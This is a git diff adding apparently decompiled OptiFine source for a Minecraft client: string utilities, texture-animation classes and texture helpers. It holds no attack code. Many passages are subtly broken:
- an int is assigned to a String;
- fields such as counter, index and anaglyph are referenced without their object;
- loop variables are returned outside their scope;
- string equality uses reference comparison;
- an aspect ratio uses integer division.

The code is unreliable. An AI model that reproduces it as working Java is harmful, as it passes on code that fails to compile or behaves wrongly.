+      if (mask.startsWith(wildCharStr))
+      {
+        tokens.add("");
+      }
+      
+      java.util.StringTokenizer tok = new java.util.StringTokenizer(mask, wildCharStr);
+      
+      while (tok.hasMoreElements())
+      {
+        tokens.add(tok.nextToken());
+      }
+      
+      if (mask.endsWith(wildCharStr))
+      {
+        tokens.add("");
+      }
+      
+      String startTok = (String)tokens.get(0);
+      
+      if (!str.startsWith(startTok))
+      {
+        return false;
+      }
+      
+
+      String endTok = (String)tokens.get(tokens.size() - 1);
+      
+      if (!str.endsWith(endTok))
+      {
+        return false;
+      }
+      
+
+      int currPos = 0;
+      
+      for (int i = 0; i < tokens.size(); i++)
+      {
+        String token = (String)tokens.get(i);
+        
+        if (token.length() > 0)
+        {
+          int foundPos = str.indexOf(token, currPos);
+          
+          if (foundPos < 0)
+          {
+            return false;
+          }
+          
+          currPos = foundPos + token.length();
+        }
+      }
+      
+      return true;
+    }
+    
+
+
+
+
+    return mask == str;
+  }
+  
+
+  public static String[] split(String str, String separators)
+  {
+    if ((str != null) && (str.length() > 0))
+    {
+      if (separators == null)
+      {
+        return new String[] { str };
+      }
+      
+
+      ArrayList tokens = new ArrayList();
+      int startPos = 0;
+      
+      for (int i = 0; i < str.length(); i++)
+      {
+        char ch = str.charAt(i);
+        
+        if (equals(ch, separators))
+        {
+          tokens.add(str.substring(startPos, i));
+          startPos = i + 1;
+        }
+      }
+      
+      tokens.add(str.substring(startPos, str.length()));
+      return (String[])tokens.toArray(new String[tokens.size()]);
+    }
+    
+
+
+    return new String[0];
+  }
+  
+
+  private static boolean equals(char ch, String matches)
+  {
+    for (int i = 0; i < matches.length(); i++)
+    {
+      if (matches.charAt(i) == ch)
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  public static boolean equalsTrim(String a, String b)
+  {
+    if (a != null)
+    {
+      a = a.trim();
+    }
+    
+    if (b != null)
+    {
+      b = b.trim();
+    }
+    
+    return equals(a, b);
+  }
+  
+  public static boolean isEmpty(String string)
+  {
+    return string == null;
+  }
+  
+  public static String stringInc(String str)
+  {
+    int val = parseInt(str, -1);
+    
+    if (val == -1)
+    {
+      return "";
+    }
+    
+
+    val++;
+    String test = val;
+    return test.length() > str.length() ? "" : fillLeft(val, str.length(), '0');
+  }
+  
+
+  public static int parseInt(String s, int defVal)
+  {
+    if (s == null)
+    {
+      return defVal;
+    }
+    
+
+    try
+    {
+      return Integer.parseInt(s);
+    }
+    catch (NumberFormatException var3) {}
+    
+    return defVal;
+  }
+  
+
+
+  public static boolean isFilled(String string)
+  {
+    return !isEmpty(string);
+  }
+  
+  public static String addIfNotContains(String target, String source)
+  {
+    for (int i = 0; i < source.length(); i++)
+    {
+      if (target.indexOf(source.charAt(i)) < 0)
+      {
+        target = target + source.charAt(i);
+      }
+    }
+    
+    return target;
+  }
+  
+  public static String fillLeft(String s, int len, char fillChar)
+  {
+    if (s == null)
+    {
+      s = "";
+    }
+    
+    if (s.length() >= len)
+    {
+      return s;
+    }
+    
+
+    StringBuffer buf = new StringBuffer(s);
+    
+    while (buf.length() < len)
+    {
+      buf.insert(0, fillChar);
+    }
+    
+    return buf.toString();
+  }
+  
+
+  public static String fillRight(String s, int len, char fillChar)
+  {
+    if (s == null)
+    {
+      s = "";
+    }
+    
+    if (s.length() >= len)
+    {
+      return s;
+    }
+    
+
+    StringBuffer buf = new StringBuffer(s);
+    
+    while (buf.length() < len)
+    {
+      buf.append(fillChar);
+    }
+    
+    return buf.toString();
+  }
+  
+
+  public static boolean equals(Object a, Object b)
+  {
+    return a == b;
+  }
+  
+  public static boolean startsWith(String str, String[] prefixes)
+  {
+    if (str == null)
+    {
+      return false;
+    }
+    if (prefixes == null)
+    {
+      return false;
+    }
+    
+
+    for (int i = 0; i < prefixes.length; i++)
+    {
+      String prefix = prefixes[i];
+      
+      if (str.startsWith(prefix))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static boolean endsWith(String str, String[] suffixes)
+  {
+    if (str == null)
+    {
+      return false;
+    }
+    if (suffixes == null)
+    {
+      return false;
+    }
+    
+
+    for (int i = 0; i < suffixes.length; i++)
+    {
+      String suffix = suffixes[i];
+      
+      if (str.endsWith(suffix))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+
+  public static String removePrefix(String str, String prefix)
+  {
+    if ((str != null) && (prefix != null))
+    {
+      if (str.startsWith(prefix))
+      {
+        str = str.substring(prefix.length());
+      }
+      
+      return str;
+    }
+    
+
+    return str;
+  }
+  
+
+  public static String removeSuffix(String str, String suffix)
+  {
+    if ((str != null) && (suffix != null))
+    {
+      if (str.endsWith(suffix))
+      {
+        str = str.substring(0, str.length() - suffix.length());
+      }
+      
+      return str;
+    }
+    
+
+    return str;
+  }
+  
+
+  public static String replaceSuffix(String str, String suffix, String suffixNew)
+  {
+    if ((str != null) && (suffix != null))
+    {
+      if (suffixNew == null)
+      {
+        suffixNew = "";
+      }
+      
+      if (str.endsWith(suffix))
+      {
+        str = str.substring(0, str.length() - suffix.length());
+      }
+      
+      return str + suffixNew;
+    }
+    
+
+    return str;
+  }
+  
+
+  public static int findPrefix(String[] strs, String prefix)
+  {
+    if ((strs != null) && (prefix != null))
+    {
+      for (int i = 0; i < strs.length; i++)
+      {
+        String str = strs[i];
+        
+        if (str.startsWith(prefix))
+        {
+          return i;
+        }
+      }
+      
+      return -1;
+    }
+    
+
+    return -1;
+  }
+  
+
+  public static int findSuffix(String[] strs, String suffix)
+  {
+    if ((strs != null) && (suffix != null))
+    {
+      for (int i = 0; i < strs.length; i++)
+      {
+        String str = strs[i];
+        
+        if (str.endsWith(suffix))
+        {
+          return i;
+        }
+      }
+      
+      return -1;
+    }
+    
+
+    return -1;
+  }
+  
+
+  public static String[] remove(String[] strs, int start, int end)
+  {
+    if (strs == null)
+    {
+      return strs;
+    }
+    if ((end > 0) && (start < strs.length))
+    {
+      if (start >= end)
+      {
+        return strs;
+      }
+      
+
+      ArrayList list = new ArrayList(strs.length);
+      
+      for (int strsNew = 0; strsNew < strs.length; strsNew++)
+      {
+        String str = strs[strsNew];
+        
+        if ((strsNew < start) || (strsNew >= end))
+        {
+          list.add(str);
+        }
+      }
+      
+      String[] var6 = (String[])list.toArray(new String[list.size()]);
+      return var6;
+    }
+    
+
+
+    return strs;
+  }
+  
+
+  public static String removeSuffix(String str, String[] suffixes)
+  {
+    if ((str != null) && (suffixes != null))
+    {
+      int strLen = str.length();
+      
+      for (int i = 0; i < suffixes.length; i++)
+      {
+        String suffix = suffixes[i];
+        str = removeSuffix(str, suffix);
+        
+        if (str.length() != strLen) {
+          break;
+        }
+      }
+      
+
+      return str;
+    }
+    
+
+    return str;
+  }
+  
+
+  public static String removePrefix(String str, String[] prefixes)
+  {
+    if ((str != null) && (prefixes != null))
+    {
+      int strLen = str.length();
+      
+      for (int i = 0; i < prefixes.length; i++)
+      {
+        String prefix = prefixes[i];
+        str = removePrefix(str, prefix);
+        
+        if (str.length() != strLen) {
+          break;
+        }
+      }
+      
+
+      return str;
+    }
+    
+
+    return str;
+  }
+  
+
+  public static String removePrefixSuffix(String str, String[] prefixes, String[] suffixes)
+  {
+    str = removePrefix(str, prefixes);
+    str = removeSuffix(str, suffixes);
+    return str;
+  }
+  
+  public static String removePrefixSuffix(String str, String prefix, String suffix)
+  {
+    return removePrefixSuffix(str, new String[] { prefix }, new String[] { suffix });
+  }
+  
+  public static String getSegment(String str, String start, String end)
+  {
+    if ((str != null) && (start != null) && (end != null))
+    {
+      int posStart = str.indexOf(start);
+      
+      if (posStart < 0)
+      {
+        return null;
+      }
+      
+
+      int posEnd = str.indexOf(end, posStart);
+      return posEnd < 0 ? null : str.substring(posStart, posEnd + end.length());
+    }
+    
+
+
+    return null;
+  }
+}
diff --git a/src/minecraft/optifine/TextureAnimation.java b/src/minecraft/optifine/TextureAnimation.java
new file mode 100644
index 0000000..f4c6f6b
--- /dev/null
+++ b/src/minecraft/optifine/TextureAnimation.java
@@ -0,0 +1,185 @@
+package optifine;
+
+import java.nio.ByteBuffer;
+import java.util.Properties;
+import net.minecraft.client.renderer.GLAllocation;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.opengl.GL11;
+
+public class TextureAnimation
+{
+  private String srcTex = null;
+  private String dstTex = null;
+  ResourceLocation dstTexLoc = null;
+  private int dstTextId = -1;
+  private int dstX = 0;
+  private int dstY = 0;
+  private int frameWidth = 0;
+  private int frameHeight = 0;
+  private TextureAnimationFrame[] frames = null;
+  private int activeFrame = 0;
+  byte[] srcData = null;
+  private ByteBuffer imageData = null;
+  
+  public TextureAnimation(String texFrom, byte[] srcData, String texTo, ResourceLocation locTexTo, int dstX, int dstY, int frameWidth, int frameHeight, Properties props, int durDef)
+  {
+    srcTex = texFrom;
+    dstTex = texTo;
+    dstTexLoc = locTexTo;
+    this.dstX = dstX;
+    this.dstY = dstY;
+    this.frameWidth = frameWidth;
+    this.frameHeight = frameHeight;
+    int frameLen = frameWidth * frameHeight * 4;
+    
+    if (srcData.length % frameLen != 0)
+    {
+      Config.warn("Invalid animated texture length: " + srcData.length + ", frameWidth: " + frameWidth + ", frameHeight: " + frameHeight);
+    }
+    
+    this.srcData = srcData;
+    int numFrames = srcData.length / frameLen;
+    
+    if (props.get("tile.0") != null)
+    {
+      for (int durationDefStr = 0; props.get("tile." + durationDefStr) != null; durationDefStr++)
+      {
+        numFrames = durationDefStr + 1;
+      }
+    }
+    
+    String var21 = (String)props.get("duration");
+    int durationDef = Config.parseInt(var21, durDef);
+    frames = new TextureAnimationFrame[numFrames];
+    
+    for (int i = 0; i < frames.length; i++)
+    {
+      String indexStr = (String)props.get("tile." + i);
+      int index = Config.parseInt(indexStr, i);
+      String durationStr = (String)props.get("duration." + i);
+      int duration = Config.parseInt(durationStr, durationDef);
+      TextureAnimationFrame frm = new TextureAnimationFrame(index, duration);
+      frames[i] = frm;
+    }
+  }
+  
+  public boolean nextFrame()
+  {
+    if (frames.length <= 0)
+    {
+      return false;
+    }
+    
+
+    if (activeFrame >= frames.length)
+    {
+      activeFrame = 0;
+    }
+    
+    TextureAnimationFrame frame = frames[activeFrame];
+    counter += 1;
+    
+    if (counter < duration)
+    {
+      return false;
+    }
+    
+
+    counter = 0;
+    activeFrame += 1;
+    
+    if (activeFrame >= frames.length)
+    {
+      activeFrame = 0;
+    }
+    
+    return true;
+  }
+  
+
+
+  public int getActiveFrameIndex()
+  {
+    if (frames.length <= 0)
+    {
+      return 0;
+    }
+    
+
+    if (activeFrame >= frames.length)
+    {
+      activeFrame = 0;
+    }
+    
+    TextureAnimationFrame frame = frames[activeFrame];
+    return index;
+  }
+  
+
+  public int getFrameCount()
+  {
+    return frames.length;
+  }
+  
+  public boolean updateTexture()
+  {
+    if (dstTextId < 0)
+    {
+      ITextureObject frameLen = TextureUtils.getTexture(dstTexLoc);
+      
+      if (frameLen == null)
+      {
+        return false;
+      }
+      
+      dstTextId = frameLen.getGlTextureId();
+    }
+    
+    if (imageData == null)
+    {
+      imageData = GLAllocation.createDirectByteBuffer(srcData.length);
+      imageData.put(srcData);
+      srcData = null;
+    }
+    
+    if (!nextFrame())
+    {
+      return false;
+    }
+    
+
+    int frameLen1 = frameWidth * frameHeight * 4;
+    int imgNum = getActiveFrameIndex();
+    int offset = frameLen1 * imgNum;
+    
+    if (offset + frameLen1 > imageData.capacity())
+    {
+      return false;
+    }
+    
+
+    imageData.position(offset);
+    GlStateManager.func_179144_i(dstTextId);
+    GL11.glTexSubImage2D(3553, 0, dstX, dstY, frameWidth, frameHeight, 6408, 5121, imageData);
+    return true;
+  }
+  
+
+
+  public String getSrcTex()
+  {
+    return srcTex;
+  }
+  
+  public String getDstTex()
+  {
+    return dstTex;
+  }
+  
+  public ResourceLocation getDstTexLoc()
+  {
+    return dstTexLoc;
+  }
+}
diff --git a/src/minecraft/optifine/TextureAnimationFrame.java b/src/minecraft/optifine/TextureAnimationFrame.java
new file mode 100644
index 0000000..ec12db9
--- /dev/null
+++ b/src/minecraft/optifine/TextureAnimationFrame.java
@@ -0,0 +1,14 @@
+package optifine;
+
+public class TextureAnimationFrame
+{
+  public int index = 0;
+  public int duration = 0;
+  public int counter = 0;
+  
+  public TextureAnimationFrame(int index, int duration)
+  {
+    this.index = index;
+    this.duration = duration;
+  }
+}
diff --git a/src/minecraft/optifine/TextureAnimations.java b/src/minecraft/optifine/TextureAnimations.java
new file mode 100644
index 0000000..e52ab3c
--- /dev/null
+++ b/src/minecraft/optifine/TextureAnimations.java
@@ -0,0 +1,291 @@
+package optifine;
+
+import java.awt.Graphics2D;
+import java.awt.RenderingHints;
+import java.awt.image.BufferedImage;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Properties;
+import javax.imageio.ImageIO;
+import net.minecraft.client.resources.IResourcePack;
+import net.minecraft.client.settings.GameSettings;
+import net.minecraft.util.ResourceLocation;
+
+
+public class TextureAnimations
+{
+  private static TextureAnimation[] textureAnimations = null;
+  
+  public TextureAnimations() {}
+  
+  public static void reset() { textureAnimations = null; }
+  
+
+  public static void update()
+  {
+    textureAnimations = null;
+    IResourcePack[] rps = Config.getResourcePacks();
+    textureAnimations = getTextureAnimations(rps);
+    
+    if (Config.isAnimatedTextures())
+    {
+      updateAnimations();
+    }
+  }
+  
+  public static void updateCustomAnimations()
+  {
+    if (textureAnimations != null)
+    {
+      if (Config.isAnimatedTextures())
+      {
+        updateAnimations();
+      }
+    }
+  }
+  
+  public static void updateAnimations()
+  {
+    if (textureAnimations != null)
+    {
+      for (int i = 0; i < textureAnimations.length; i++)
+      {
+        TextureAnimation anim = textureAnimations[i];
+        anim.updateTexture();
+      }
+    }
+  }
+  
+  public static TextureAnimation[] getTextureAnimations(IResourcePack[] rps)
+  {
+    ArrayList list = new ArrayList();
+    
+    for (int anims = 0; anims < rps.length; anims++)
+    {
+      IResourcePack rp = rps[anims];
+      TextureAnimation[] tas = getTextureAnimations(rp);
+      
+      if (tas != null)
+      {
+        list.addAll(Arrays.asList(tas));
+      }
+    }
+    
+    TextureAnimation[] var5 = (TextureAnimation[])list.toArray(new TextureAnimation[list.size()]);
+    return var5;
+  }
+  
+  public static TextureAnimation[] getTextureAnimations(IResourcePack rp)
+  {
+    String[] animPropNames = ResUtils.collectFiles(rp, "mcpatcher/anim", ".properties", null);
+    
+    if (animPropNames.length <= 0)
+    {
+      return null;
+    }
+    
+
+    ArrayList list = new ArrayList();
+    
+    for (int anims = 0; anims < animPropNames.length; anims++)
+    {
+      String propName = animPropNames[anims];
+      Config.dbg("Texture animation: " + propName);
+      
+      try
+      {
+        ResourceLocation e = new ResourceLocation(propName);
+        InputStream in = rp.getInputStream(e);
+        Properties props = new Properties();
+        props.load(in);
+        TextureAnimation anim = makeTextureAnimation(props, e);
+        
+        if (anim != null)
+        {
+          ResourceLocation locDstTex = new ResourceLocation(anim.getDstTex());
+          
+          if (Config.getDefiningResourcePack(locDstTex) != rp)
+          {
+            Config.dbg("Skipped: " + propName + ", target texture not loaded from same resource pack");
+          }
+          else
+          {
+            list.add(anim);
+          }
+        }
+      }
+      catch (FileNotFoundException var10)
+      {
+        Config.warn("File not found: " + var10.getMessage());
+      }
+      catch (IOException var11)
+      {
+        var11.printStackTrace();
+      }
+    }
+    
+    TextureAnimation[] var12 = (TextureAnimation[])list.toArray(new TextureAnimation[list.size()]);
+    return var12;
+  }
+  
+
+  public static TextureAnimation makeTextureAnimation(Properties props, ResourceLocation propLoc)
+  {
+    String texFrom = props.getProperty("from");
+    String texTo = props.getProperty("to");
+    int x = Config.parseInt(props.getProperty("x"), -1);
+    int y = Config.parseInt(props.getProperty("y"), -1);
+    int width = Config.parseInt(props.getProperty("w"), -1);
+    int height = Config.parseInt(props.getProperty("h"), -1);
+    
+    if ((texFrom != null) && (texTo != null))
+    {
+      if ((x >= 0) && (y >= 0) && (width >= 0) && (height >= 0))
+      {
+        texFrom = texFrom.trim();
+        texTo = texTo.trim();
+        String basePath = TextureUtils.getBasePath(propLoc.getResourcePath());
+        texFrom = TextureUtils.fixResourcePath(texFrom, basePath);
+        texTo = TextureUtils.fixResourcePath(texTo, basePath);
+        byte[] imageBytes = getCustomTextureData(texFrom, width);
+        
+        if (imageBytes == null)
+        {
+          Config.warn("TextureAnimation: Source texture not found: " + texTo);
+          return null;
+        }
+        
+
+        ResourceLocation locTexTo = new ResourceLocation(texTo);
+        
+        if (!Config.hasResource(locTexTo))
+        {
+          Config.warn("TextureAnimation: Target texture not found: " + texTo);
+          return null;
+        }
+        
+
+        TextureAnimation anim = new TextureAnimation(texFrom, imageBytes, texTo, locTexTo, x, y, width, height, props, 1);
+        return anim;
+      }
+      
+
+
+
+      Config.warn("TextureAnimation: Invalid coordinates");
+      return null;
+    }
+    
+
+
+    Config.warn("TextureAnimation: Source or target texture not specified");
+    return null;
+  }
+  
+
+  public static byte[] getCustomTextureData(String imagePath, int tileWidth)
+  {
+    byte[] imageBytes = loadImage(imagePath, tileWidth);
+    
+    if (imageBytes == null)
+    {
+      imageBytes = loadImage("/anim" + imagePath, tileWidth);
+    }
+    
+    return imageBytes;
+  }
+  
+  private static byte[] loadImage(String name, int targetWidth)
+  {
+    GameSettings options = Config.getGameSettings();
+    
+    try
+    {
+      ResourceLocation e = new ResourceLocation(name);
+      InputStream in = Config.getResourceStream(e);
+      
+      if (in == null)
+      {
+        return null;
+      }
+      
+
+      BufferedImage image = readTextureImage(in);
+      in.close();
+      
+      if (image == null)
+      {
+        return null;
+      }
+      
+
+      if ((targetWidth > 0) && (image.getWidth() != targetWidth))
+      {
+        double width = image.getHeight() / image.getWidth();
+        int ai = (int)(targetWidth * width);
+        image = scaleBufferedImage(image, targetWidth, ai);
+      }
+      
+      int var20 = image.getWidth();
+      int height = image.getHeight();
+      int[] var21 = new int[var20 * height];
+      byte[] byteBuf = new byte[var20 * height * 4];
+      image.getRGB(0, 0, var20, height, var21, 0, var20);
+      
+      for (int l = 0; l < var21.length; l++)
+      {
+        int alpha = var21[l] >> 24 & 0xFF;
+        int red = var21[l] >> 16 & 0xFF;
+        int green = var21[l] >> 8 & 0xFF;
+        int blue = var21[l] & 0xFF;
+        
+        if ((options != null) && (anaglyph))
+        {
+          int j3 = (red * 30 + green * 59 + blue * 11) / 100;
+          int l3 = (red * 30 + green * 70) / 100;
+          int j4 = (red * 30 + blue * 70) / 100;
+          red = j3;
+          green = l3;
+          blue = j4;
+        }
+        
+        byteBuf[(l * 4 + 0)] = ((byte)red);
+        byteBuf[(l * 4 + 1)] = ((byte)green);
+        byteBuf[(l * 4 + 2)] = ((byte)blue);
+        byteBuf[(l * 4 + 3)] = ((byte)alpha);
+      }
+      
+      return byteBuf;
+
+    }
+    catch (FileNotFoundException var18)
+    {
+
+      return null;
+    }
+    catch (Exception var19)
+    {
+      var19.printStackTrace(); }
+    return null;
+  }
+  
+  private static BufferedImage readTextureImage(InputStream par1InputStream)
+    throws IOException
+  {
+    BufferedImage var2 = ImageIO.read(par1InputStream);
+    par1InputStream.close();
+    return var2;
+  }
+  
+  public static BufferedImage scaleBufferedImage(BufferedImage image, int width, int height)
+  {
+    BufferedImage scaledImage = new BufferedImage(width, height, 2);
+    Graphics2D gr = scaledImage.createGraphics();
+    gr.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);
+    gr.drawImage(image, 0, 0, width, height, null);
+    return scaledImage;
+  }
+}
diff --git a/src/minecraft/optifine/TextureUtils.java b/src/minecraft/optifine/TextureUtils.java
new file mode 100644
index 0000000..39a2965
--- /dev/null
+++ b/src/minecraft/optifine/TextureUtils.java
@@ -0,0 +1,476 @@
+package optifine;
+
+import java.awt.Dimension;
+import java.awt.Graphics2D;
+import java.awt.RenderingHints;
+import java.awt.image.BufferedImage;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.IntBuffer;
+import java.util.Iterator;
+import javax.imageio.ImageIO;
+import javax.imageio.ImageReader;
+import javax.imageio.stream.ImageInputStream;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GLAllocation;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.texture.ITextureObject;
+import net.minecraft.client.renderer.texture.ITickableTextureObject;
+import net.minecraft.client.renderer.texture.SimpleTexture;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.client.renderer.texture.TextureManager;
+import net.minecraft.client.renderer.texture.TextureMap;
+import net.minecraft.client.resources.IReloadableResourceManager;
+import net.minecraft.client.resources.IResourceManager;
+import net.minecraft.client.resources.IResourceManagerReloadListener;
+import net.minecraft.util.MathHelper;
+import net.minecraft.util.ResourceLocation;
+import org.lwjgl.opengl.GL11;
+import org.lwjgl.opengl.GLContext;
+import shadersmod.client.MultiTexID;
+import shadersmod.client.Shaders;
+
+public class TextureUtils
+{
+  public static final String texGrassTop = "grass_top";
+  public static final String texStone = "stone";
+  public static final String texDirt = "dirt";
+  public static final String texCoarseDirt = "coarse_dirt";
+  public static final String texGrassSide = "grass_side";
+  public static final String texStoneslabSide = "stone_slab_side";
+  public static final String texStoneslabTop = "stone_slab_top";
+  public static final String texBedrock = "bedrock";
+  public static final String texSand = "sand";
+  public static final String texGravel = "gravel";
+  public static final String texLogOak = "log_oak";
+  public static final String texLogBigOak = "log_big_oak";
+  public static final String texLogAcacia = "log_acacia";
+  public static final String texLogSpruce = "log_spruce";
+  public static final String texLogBirch = "log_birch";
+  public static final String texLogJungle = "log_jungle";
+  public static final String texLogOakTop = "log_oak_top";
+  public static final String texLogBigOakTop = "log_big_oak_top";
+  public static final String texLogAcaciaTop = "log_acacia_top";
+  public static final String texLogSpruceTop = "log_spruce_top";
+  public static final String texLogBirchTop = "log_birch_top";
+  public static final String texLogJungleTop = "log_jungle_top";
+  public static final String texLeavesOak = "leaves_oak";
+  public static final String texLeavesBigOak = "leaves_big_oak";
+  public static final String texLeavesAcacia = "leaves_acacia";
+  public static final String texLeavesBirch = "leaves_birch";
+  public static final String texLeavesSpuce = "leaves_spruce";
+  public static final String texLeavesJungle = "leaves_jungle";
+  public static final String texGoldOre = "gold_ore";
+  public static final String texIronOre = "iron_ore";
+  public static final String texCoalOre = "coal_ore";
+  public static final String texObsidian = "obsidian";
+  public static final String texGrassSideOverlay = "grass_side_overlay";
+  public static final String texSnow = "snow";
+  public static final String texGrassSideSnowed = "grass_side_snowed";
+  public static final String texMyceliumSide = "mycelium_side";
+  public static final String texMyceliumTop = "mycelium_top";
+  public static final String texDiamondOre = "diamond_ore";
+  public static final String texRedstoneOre = "redstone_ore";
+  public static final String texLapisOre = "lapis_ore";
+  public static final String texCactusSide = "cactus_side";
+  public static final String texClay = "clay";
+  public static final String texFarmlandWet = "farmland_wet";
+  public static final String texFarmlandDry = "farmland_dry";
+  public static final String texNetherrack = "netherrack";
+  public static final String texSoulSand = "soul_sand";
+  public static final String texGlowstone = "glowstone";
+  public static final String texLeavesSpruce = "leaves_spruce";
+  public static final String texLeavesSpruceOpaque = "leaves_spruce_opaque";
+  public static final String texEndStone = "end_stone";
+  public static final String texSandstoneTop = "sandstone_top";
+  public static final String texSandstoneBottom = "sandstone_bottom";
+  public static final String texRedstoneLampOff = "redstone_lamp_off";
+  public static final String texRedstoneLampOn = "redstone_lamp_on";
+  public static final String texWaterStill = "water_still";
+  public static final String texWaterFlow = "water_flow";
+  public static final String texLavaStill = "lava_still";
+  public static final String texLavaFlow = "lava_flow";
+  public static final String texFireLayer0 = "fire_layer_0";
+  public static final String texFireLayer1 = "fire_layer_1";
+  public static final String texPortal = "portal";
+  public static final String texGlass = "glass";
+  public static final String texGlassPaneTop = "glass_pane_top";
+  public static final String texCompass = "compass";
+  public static final String texClock = "clock";
+  public static TextureAtlasSprite iconGrassTop;
+  public static TextureAtlasSprite iconGrassSide;
+  public static TextureAtlasSprite iconGrassSideOverlay;
+  public static TextureAtlasSprite iconSnow;
+  public static TextureAtlasSprite iconGrassSideSnowed;
+  public static TextureAtlasSprite iconMyceliumSide;
+  public static TextureAtlasSprite iconMyceliumTop;
+  public static TextureAtlasSprite iconWaterStill;
+  public static TextureAtlasSprite iconWaterFlow;
+  public static TextureAtlasSprite iconLavaStill;
+  public static TextureAtlasSprite iconLavaFlow;
+  public static TextureAtlasSprite iconPortal;
+  public static TextureAtlasSprite iconFireLayer0;
+  public static TextureAtlasSprite iconFireLayer1;
+  public static TextureAtlasSprite iconGlass;
+  public static TextureAtlasSprite iconGlassPaneTop;
+  public static TextureAtlasSprite iconCompass;
+  public static TextureAtlasSprite iconClock;
+  public static final String SPRITE_PREFIX_BLOCKS = "minecraft:blocks/";
+  public static final String SPRITE_PREFIX_ITEMS = "minecraft:items/";
+  private static IntBuffer staticBuffer = GLAllocation.createDirectIntBuffer(256);
+  
+  public TextureUtils() {}
+  
+  public static void update() { TextureMap mapBlocks = getTextureMapBlocks();
+    
+    if (mapBlocks != null)
+    {
+      String prefix = "minecraft:blocks/";
+      iconGrassTop = mapBlocks.getSpriteSafe(prefix + "grass_top");
+      iconGrassSide = mapBlocks.getSpriteSafe(prefix + "grass_side");
+      iconGrassSideOverlay = mapBlocks.getSpriteSafe(prefix + "grass_side_overlay");
+      iconSnow = mapBlocks.getSpriteSafe(prefix + "snow");
+      iconGrassSideSnowed = mapBlocks.getSpriteSafe(prefix + "grass_side_snowed");
+      iconMyceliumSide = mapBlocks.getSpriteSafe(prefix + "mycelium_side");
+      iconMyceliumTop = mapBlocks.getSpriteSafe(prefix + "mycelium_top");
+      iconWaterStill = mapBlocks.getSpriteSafe(prefix + "water_still");
+      iconWaterFlow = mapBlocks.getSpriteSafe(prefix + "water_flow");
+      iconLavaStill = mapBlocks.getSpriteSafe(prefix + "lava_still");
+      iconLavaFlow = mapBlocks.getSpriteSafe(prefix + "lava_flow");
+      iconFireLayer0 = mapBlocks.getSpriteSafe(prefix + "fire_layer_0");
+      iconFireLayer1 = mapBlocks.getSpriteSafe(prefix + "fire_layer_1");
+      iconPortal = mapBlocks.getSpriteSafe(prefix + "portal");
+      iconGlass = mapBlocks.getSpriteSafe(prefix + "glass");
+      iconGlassPaneTop = mapBlocks.getSpriteSafe(prefix + "glass_pane_top");
+      String prefixItems = "minecraft:items/";
+      iconCompass = mapBlocks.getSpriteSafe(prefixItems + "compass");
+      iconClock = mapBlocks.getSpriteSafe(prefixItems + "clock");
+    }
+  }
+  
+  public static BufferedImage fixTextureDimensions(String name, BufferedImage bi)
+  {
+    if ((name.startsWith("/mob/zombie")) || (name.startsWith("/mob/pigzombie")))
+    {
+      int width = bi.getWidth();
+      int height = bi.getHeight();
+      
+      if (width == height * 2)
+      {
+        BufferedImage scaledImage = new BufferedImage(width, height * 2, 2);
+        Graphics2D gr = scaledImage.createGraphics();
+        gr.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);
+        gr.drawImage(bi, 0, 0, width, height, null);
+        return scaledImage;
+      }
+    }
+    
+    return bi;
+  }
+  
+
+
+  public static int ceilPowerOfTwo(int val)
+  {
+    for (int i = 1; i < val; i *= 2) {}
+    
+
+
+
+    return i;
+  }
+  
+  public static int getPowerOfTwo(int val)
+  {
+    int i = 1;
+    
+
+    for (int po2 = 0; i < val; po2++)
+    {
+      i *= 2;
+    }
+    
+    return po2;
+  }
+  
+  public static int twoToPower(int power)
+  {
+    int val = 1;
+    
+    for (int i = 0; i < power; i++)
+    {
+      val *= 2;
+    }
+    
+    return val;
+  }
+  
+  public static ITextureObject getTexture(ResourceLocation loc)
+  {
+    ITextureObject tex = Config.getTextureManager().getTexture(loc);
+    
+    if (tex != null)
+    {
+      return tex;
+    }
+    if (!Config.hasResource(loc))
+    {
+      return null;
+    }
+    
+
+    SimpleTexture tex1 = new SimpleTexture(loc);
+    Config.getTextureManager().loadTexture(loc, tex1);
+    return tex1;
+  }
+  
+
+  public static void resourcesReloaded(IResourceManager rm)
+  {
+    if (getTextureMapBlocks() != null)
+    {
+      Config.dbg("*** Reloading custom textures ***");
+      CustomSky.reset();
+      TextureAnimations.reset();
+      update();
+      NaturalTextures.update();
+      BetterGrass.update();
+      BetterSnow.update();
+      TextureAnimations.update();
+      CustomColors.update();
+      CustomSky.update();
+      RandomMobs.resetTextures();
+      CustomItems.updateModels();
+      Shaders.resourcesReloaded();
+      Lang.resourcesReloaded();
+      Config.updateTexturePackClouds();
+      SmartLeaves.updateLeavesModels();
+      Config.getTextureManager().tick();
+    }
+  }
+  
+  public static TextureMap getTextureMapBlocks()
+  {
+    return Minecraft.getMinecraft().getTextureMapBlocks();
+  }
+  
+  public static void registerResourceListener()
+  {
+    IResourceManager rm = Config.getResourceManager();
+    
+    if ((rm instanceof IReloadableResourceManager))
+    {
+      IReloadableResourceManager tto = (IReloadableResourceManager)rm;
+      IResourceManagerReloadListener ttol = new IResourceManagerReloadListener()
+      {
+        public void onResourceManagerReload(IResourceManager var1)
+        {
+          TextureUtils.resourcesReloaded(var1);
+        }
+      };
+      tto.registerReloadListener(ttol);
+    }
+    
+    ITickableTextureObject tto1 = new ITickableTextureObject()
+    {
+      public void tick() {}
+      
+
+      public void loadTexture(IResourceManager var1) throws IOException
+      {}
+      
+
+      public int getGlTextureId() { return 0; }
+      
+      public void func_174936_b(boolean p_174936_1, boolean p_174936_2) {}
+      
+      public void func_174935_a() {}
+      
+      public MultiTexID getMultiTexID() { return null;
+      }
+    };
+    ResourceLocation ttol1 = new ResourceLocation("optifine/TickableTextures");
+    Config.getTextureManager().loadTickableTexture(ttol1, tto1);
+  }
+  
